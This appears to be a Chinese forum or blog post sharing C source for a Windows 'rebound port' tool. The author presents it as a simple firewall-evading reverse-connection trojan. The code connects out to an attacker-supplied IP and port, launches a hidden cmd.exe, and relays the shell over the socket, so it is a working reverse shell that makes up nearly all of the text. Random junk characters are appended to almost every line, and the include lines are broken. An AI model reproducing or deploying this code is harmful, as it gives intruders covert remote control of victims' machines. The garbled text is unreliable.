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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Rekb?|{z  
MR?*GI's  
/* ============================== [B"dH-r7  
Rebound port in Windows NT C`yvBt40r  
By wind,2006/7 'd2qa`H'}B  
===============================*/ =YXe1$ $  
#include j*eUF-J1  
#include ]8xc?*i8  
ElEv(>G*  
#pragma comment(lib,"wsock32.lib") #LN5&i;s  
!sfXq"F  
void OutputShell(); ~|r'2V*  
SOCKET sClient;  O ':0V  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jsNH`"  
=.qm8+  
void main(int argc,char **argv) Hyq@O 8  
{ 't0+:o">:  
WSADATA stWsaData; I+Ncmg )>  
int nRet; Xx3 g3P  
SOCKADDR_IN stSaiClient,stSaiServer; J8u{K.( *7  
B.}_],  
if(argc != 3) tp6csS,  
{ c%AFo]H  
printf("Useage:\n\rRebound DestIP DestPort\n"); .)"_Q/q  
return; gnQo1q{ 4  
} E'e8&3!bx  
rP^TN^bd|  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2qs>Bshf  
@)W(q5)}9"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .pS&0gBo\  
(B _7\}v|_  
stSaiClient.sin_family = AF_INET; "EcX_>  
stSaiClient.sin_port = htons(0); |+Hp+9J  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &dhcKO<4  
%Y cxC0S[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kf%&d}2to  
{ 9 3W  
printf("Bind Socket Failed!\n"); .N~PHyXZR  
return; y*VQ]aJ  
} KA5~">l  
]^J+-c  
stSaiServer.sin_family = AF_INET; v`#j  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); KGV.S  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !US8aT  
H&w:`JYDL3  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w(76H^e  
{ GBH_r 0  
printf("Connect Error!"); K3vseor  
return; v2 29H<  
} ..t,LU@|  
OutputShell(); 0>,.c2),  
} Vq3gceo'0A  
}xAie(  
void OutputShell() &8[ZN$Xe"  
{ [>W"R1/  
char szBuff[1024]; !c3```*  
SECURITY_ATTRIBUTES stSecurityAttributes; EMVk:Vt]  
OSVERSIONINFO stOsversionInfo; ?z2jk  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?QCmSK=L  
STARTUPINFO stStartupInfo; B.89_!/:p  
char *szShell; V]I:2k5  
PROCESS_INFORMATION stProcessInformation; =N YgGEFq.  
unsigned long lBytesRead;  9R9__w;  
Y3#Nux%  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L'zE<3O'3  
uije#cj#O  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,:D=gQ@`  
stSecurityAttributes.lpSecurityDescriptor = 0; a}:A,t<6  
stSecurityAttributes.bInheritHandle = TRUE; v8ba~  
D Irgq|8  
96(R'^kNX  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `I5O4|K)  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Tbv/wJ  
s|Z:}W?{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `W@T'T"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?b||Cr  
stStartupInfo.wShowWindow = SW_HIDE; =43I1&_   
stStartupInfo.hStdInput = hReadPipe; D`6iDi t  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s}6+8fE"  
QX[Djz0H8  
GetVersionEx(&stOsversionInfo); n[!;yO  
;Vg^!]LL#  
switch(stOsversionInfo.dwPlatformId) y n SBVb!)  
{ rwiw Rh  
case 1: _ Yfmxn8V  
szShell = "command.com"; QE|`&~sme  
break; S_J,[#&  
default: |xn#\epy@  
szShell = "cmd.exe"; G6ayMw]OF  
break; 9B /s  
} {P-xCmZ~Wt  
GL1'Zo  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v=!YfAn  
tR kF   
send(sClient,szMsg,77,0); M\Se_  
while(1) a6%@d_A  
{ eP"`,<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); XAe\s`  
if(lBytesRead) MDJc[am  
{ "!O1j r;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |^R*4;Phe  
send(sClient,szBuff,lBytesRead,0); bmu6@jT  
} "e 1wr  
else *h$&0w y  
{ cJCU*(7&  
lBytesRead=recv(sClient,szBuff,1024,0); k<H%vg>{~s  
if(lBytesRead<=0) break; ( #* "c  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !xu9+{-  
} cFK @3a  
} *i^`Dw^~y  
h4_ b!E@  
return; ;j{7!GeKa  
}
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